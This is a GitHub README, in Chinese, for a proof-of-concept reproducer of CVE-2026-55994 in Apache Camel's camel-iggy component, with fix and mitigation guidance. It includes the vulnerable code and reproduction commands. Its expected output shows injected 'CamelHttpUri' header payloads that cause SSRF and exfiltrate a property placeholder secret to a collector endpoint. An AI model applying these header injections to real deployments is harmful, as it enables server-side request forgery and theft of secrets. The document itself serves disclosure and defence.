oscerd/CVE-2026-55994

GitHub: oscerd/CVE-2026-55994

该项目是 Apache Camel camel-iggy 组件消息头注入漏洞(CVE-2026-55994)的概念验证复现程序,演示了未经过滤的 user-headers 如何导致 SSRF 和敏感信息泄露。

Stars: 0 | Forks: 0

# camel-iggy User-Header 注入复现程序 (CVE-2026-55994) 本项目演示了 Apache Camel 的 `camel-iggy` 组件中的一个**消息头注入**漏洞,编号为 **CVE-2026-55994**。Iggy consumer 会将入站消息的 **user-headers** 复制到 Camel Exchange 中, **没有任何 `HeaderFilterStrategy`**,因此任何能够向被消费的 Iggy topic 发布消息的人都可以注入 Camel 控制头 —— 特别是 `CamelHttpUri`: ``` // IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered message.userHeaders().ifPresent(userHeaders -> { Map stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap( e -> e.getKey(), e -> e.getValue().value())); exchange.getIn().setHeaders(stringUserHeaders); }); ``` 当路由将该 consumer 桥接到 HTTP producer 时,注入的 `CamelHttpUri` **会覆盖 producer 的 目标 URI** —— 即服务器端请求伪造 (SSRF)。camel-http producer 还会对该攻击者控制的 URI 调用 `resolvePropertyPlaceholders()`,因此注入的 `{{...}}` 引用会被展开为其真实值并发送出去 —— 从而泄露环境变量、应用程序属性或 vault 密钥。 此 PoC 将其影响演示为 **SSRF 加上敏感信息泄露 (CWE-20 → CWE-918 + CWE-200)**。它是 在 CAMEL-23532 中一起修复的三个同级组件之一(连同 `camel-vertx-websocket`,CVE-2026-46726,以及 `camel-atmosphere-websocket`,CVE-2026-55993)。 安全公告:https://camel.apache.org/security/CVE-2026-55994.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-iggy` | | **受影响类** | `org.apache.camel.component.iggy.IggyFetchRecords#createExchange`(在没有任何过滤器的情况下将消息 user-headers 映射为 Exchange headers)| | **CWE** | CWE-20 (输入验证不恰当) → CWE-918 (SSRF) + CWE-200 (信息暴露) | | **影响** | 通过对注入的 URI 进行属性占位符解析,导致 SSRF 和密钥泄露 | | **前置条件** | 路由将 `iggy:` consumer 桥接到 HTTP producer;攻击者可以向被消费的 topic 发布消息 | | **受影响版本** | 从 4.17.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前(camel-iggy 在 4.17.0 中引入) | | **修复版本** | 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) | | **鸣谢** | Kamalpreet Singh | ## 本复现程序如何测试真实漏洞代码 存在漏洞的 `IggyFetchRecords.createExchange(...)` 原封不动地在一条伪造的 Iggy 消息上运行,该消息的 user-headers 由攻击者控制。产生的 Exchange 会流经**真实路由**到达**真实的 camel-http producer**,因此 SSRF 和 `{{...}}` 属性占位符泄露都是真实的。 ## 受害者路由 在实际部署中:`from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")`。在这里, 下游部分为 `from("direct:iggy-delivery").to("http://localhost:8080/legit-backend")`,由真实的 `createExchange` 构建的受感染的 Exchange 提供数据。 ## 仓库结构 ``` CVE-2026-55994/ ├── pom.xml # camel-iggy + camel-http 4.18.2 ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── VictimRoute.java # downstream link -> http://localhost:8080/legit-backend │ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect │ └── ExploitController.java # forges an Iggy message + runs the real createExchange (injects CamelHttpUri) └── resources/ └── application.properties # app.secret=... (leaked via placeholder resolution) ``` ## 前置条件 - Docker 和 Docker Compose - Java 17+ 和 Maven 3.8+ ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` 1) Ordinary message (user-header x-order-id=A-1001) reached /legit-backend: true reached /internal/secret: false 2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF) server-side request reached /internal/secret: true 3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure) attacker's collector received leak = SUPER-SECRET-abc123 equals the app's real secret: true >>> SSRF=true, secret-disclosure=true ``` ## 推荐修复方案 升级到 **4.18.3 / 4.21.0** (CAMEL-23532)。升级后,consumer 会从 Iggy 消息的 user-headers 中过滤掉 `Camel*` headers,因此 `CamelHttpUri` 和其他控制头将无法再被注入。 ## 缓解措施 在升级之前,请勿在未先剥离 Camel 控制头的情况下,将 `iggy:` consumer 直接桥接到 HTTP producer(例如 使用 `removeHeaders("CamelHttp*")`),并从受信任的来源设置 producer 的目标(或者 使用 `bridgeEndpoint=true`)。 ## 免责声明 本复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复的** 漏洞。未经明确许可,请勿将其用于攻击系统。
标签:JS文件枚举, 域名枚举, 版权保护, 请求拦截